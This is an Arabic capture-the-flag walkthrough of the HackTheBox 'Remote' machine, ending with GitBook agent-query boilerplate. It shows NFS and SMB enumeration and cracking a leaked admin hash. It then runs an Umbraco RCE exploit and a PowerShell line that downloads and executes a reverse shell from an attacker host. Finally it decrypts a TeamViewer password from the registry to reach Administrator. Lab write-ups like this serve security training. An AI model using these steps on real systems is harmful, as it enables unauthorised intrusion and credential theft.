> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# تقرير HackTheBox عن Remote

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**المهارات**:

* استطلاع الويب
* استطلاع NFS - Showmount
* تسرب المعلومات
* استغلال لوحة إدارة Umbraco
* Umbraco CMS - تنفيذ التعليمات البرمجية عن بُعد بواسطة المسؤولين الموثقين
* الحصول على كلمة مرور TeamViewer من سجلات النظام (AES128 - CBC) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/57945b38f5519fa47059278d5896606fba24eb1a" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/1610cfc8ac8e2f79729833eb0bdfff7949e12bf9" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/f62b1101af15aab77d5b59bb634a70f966319fe6" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

<figure><img src="/files/5bbcc576ab834071d88e7ed789958ffd6859ef87" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted":

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/de0bfcc177c24b5ec842949cfe7c6e85ccb47bb0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/091b3ff2ffcd86ba27e62e516d0a8e486678e979" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/9000500a57c0a509c00455249105bc8cd139829a" alt="" width="563"><figcaption></figcaption></figure>

### الويب (المنفذ 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/96778b61ab3709c0edfb527d9a570a25308dd871" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/365fdd30834a7a34bc7c27b53e6c69a21c1492d2" alt=""><figcaption></figcaption></figure>

### SMB - المنفذ 445

قائمة **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/6722d718e2f8160861a44ba1feeb7be44ba0727c" alt=""><figcaption></figcaption></figure></div>

### **عميل SMB (جلسة فارغة):**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/9145ab0482cba11a8e3b0962e9627a91d76ca646" alt=""><figcaption></figcaption></figure>

### FTP (21) مجهول

لدينا القدرة على الاتصال عبر FTP باستخدام المستخدم المجهول، لكن لا يمكننا عرض الملفات أو إضافتها.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/7af39b39885215d9797a948f71afa6c257600877" alt=""><figcaption></figcaption></figure>

## خدمة NFS (المنفذ 2049)

{% hint style="info" %}
نظام الملفات الشبكي (NFS) هو بروتوكول على مستوى طبقة التطبيقات في نموذج OSI. يُستخدم لإنشاء أنظمة ملفات موزعة في شبكة محلية، مما يسمح للأنظمة المتصلة المختلفة بالوصول إلى الملفات البعيدة كما لو كانت محلية.
{% endhint %}

لسرد الملفات باستخدام `mount`:

```bash
showmount -e 10.10.10.180
```

نرى `/site_backups` يمكن للجميع رؤيته.

<figure><img src="/files/1cbc6f8dfdf826932216e96d5ed01e7f21c267e2" alt="" width="563"><figcaption></figcaption></figure>

لاستيراد هذا الملف، يجب عليك إنشاء مجلد وضمّه على جهازنا كما يلي:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/5284fc97d12f1982c02f315ee608a570da49eb22" alt=""><figcaption></figcaption></figure>

مع `tree`، سنسرد جميع المجلدات في الشجرة للحصول على فكرة:

```
tree -L 2
```

نرى `.config` التهيئة و `sdf` مجلد من قاعدة بيانات Umbraco (نظام إدارة محتوى) الخاصة بالمنفذ 80.

<figure><img src="/files/81705c611474f00dc9cfce3953e2499f88711b95" alt=""><figcaption></figcaption></figure>

الـ `.conf` الملف لا يحتوي على أي شيء مثير للاهتمام، و `umbraco.sdf` هو ملف ثنائي.

<figure><img src="/files/8ed60d5934f58a61c66ed395ed694fd797a0f1d3" alt=""><figcaption></figcaption></figure>

سنستخدم `strings` لعرض الأحرف المرئية ووضعها في دليلنا لإجراء تحليل مفصل:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

نجد كلمات مرور "admin" ومستخدمًا "smith".

<figure><img src="/files/f2685cde45c3046e77c59b4f04d29d7176d37843" alt=""><figcaption></figcaption></figure>

### كسر كلمات المرور:

المسؤول (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/86f2c69c9c1e7333344edfe5ff06f27d605bc2d0" alt=""><figcaption></figcaption></figure>

المسؤول: `baconandcheese`

#### بما أن SMB مكشوف، نستخدم CrackMapExec للمصادقة والتحقق من الوصول

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### لا تأثير

<figure><img src="/files/258d6d0b6396bca4805a8255196d6d8504915caa" alt=""><figcaption></figcaption></figure>

## ثغرة تنفيذ التعليمات البرمجية عن بُعد (Umbraco CMS)

نجد لوحة إدارة وسنحاول مصادقة مستخدم المدير:

`admin@htb.local:baconandcheese`

<figure><img src="/files/9d9ec70c0d3534820fa4badbd7db467101a0e360" alt=""><figcaption></figcaption></figure>

لدينا وصول.

<figure><img src="/files/bad0a5c91fad57f2cdc1848e2fe9e509ca364e31" alt=""><figcaption></figcaption></figure>

سنبحث `Searchsploit` عن ثغرات نظام إدارة المحتوى هذا ونجد سكربت NCE لـ Umbraco.

<figure><img src="/files/7a06212c70d347d0b43685269739ef33148cd0da" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

سنغيّر إعدادات تسجيل الدخول وكلمة المرور والمضيف في السكربت.

<figure><img src="/files/f5800ba1e2b4ea08e29b977e9b6feef2f3fcee86" alt="" width="563"><figcaption></figcaption></figure>

**تحقق من الاتصال باستخدام ping:**/ سننفذ هذا الأمر على الخادم، وسنستمع باستخدام tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/b6501ad49b16f447e58c1961b43c29cc2e4f0fac" alt=""><figcaption></figcaption></figure>

بمجرد أن نرى أننا نستطيع تنفيذ الأوامر، سنحمّل `PS.ps1` السكربت إلى جهازنا.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

في نهاية السكربت، نضيف السطر التالي:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/4a74f39c4f55dd3c42e9a51c66219f1961424607" alt="" width="563"><figcaption></figcaption></figure>

سننشئ خادم ويب باستخدام `PS.ps1` السكربت:

```bash
python3 -m http.server 80
```

ثم سنعدّل الأمر ليشير إلى خادم الويب الخاص بنا:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

أخيرًا، سنستمع على المنفذ 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/d3a016173d7d9bd2cb37b6980fc50b0bfb12d298" alt=""><figcaption></figcaption></figure></div>

الوصول إلى `user.txt` الملف ونجد أن TeamViewer مثبت

<figure><img src="/files/0a22cfed65e9eb10d407ef10eca92d468bd201aa" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات:

إذا نظرت إلى المهام قيد التشغيل، يمكنك رؤية TeamViewer الإصدار 7.

```powershell
tasklist /svc
```

<figure><img src="/files/15d87f707df160411de0f072b88941fa97b7bc07" alt=""><figcaption></figcaption></figure>

عند البحث في سكربتات Metasploit، نجد واحدًا يمكنه استرجاع كلمة مرور TeamViewer:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/99d2a2e0ebbb6f6c92753107972bacaf56b694fa" alt=""><figcaption></figcaption></figure>

عند تحليل السكربت، يجب أولًا الحصول على المفتاح (اعتمادًا على الإصدار) من السجل:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

بعد ذلك، يجب فحص خصائص الأمان، وخاصة كلمة مرور AES:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/5adc671c52e7b2c9345abea2fc1dd9110d9cf87b" alt=""><figcaption></figcaption></figure>

ضع البايتات التالية في `النص المشفّر`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### سكربت أتمتة بايثون:

هذا هو السكربت الذي يؤتمت العملية كاملة:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/7063d203aabb5a23f5efaa9a284c561d0dd361a6" alt=""><figcaption></figcaption></figure>

كلمة المرور هي `!R3m0te!`.

سنتحقق باستخدام CrackMapExec مما إذا كانت كلمة المرور صحيحة للمستخدم `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/c535fc240ea1fe537947fb8c0401d3afedc14039" alt=""><figcaption></figcaption></figure>

نتصل باستخدام Evil-WinRM، إذ إن خدمة إدارة Windows عن بُعد نشطة على المنفذ 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/52ff87040a25ac5f9060f988f345cff7a9f056ef" alt=""><figcaption></figcaption></figure>

### العلم النهائي للجذر :)

<figure><img src="/files/73cabc30ea137ecefa76cb854c081d1c86b0b919" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/58e44371e0ea814674bb75eb1ae854f8c5060915" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
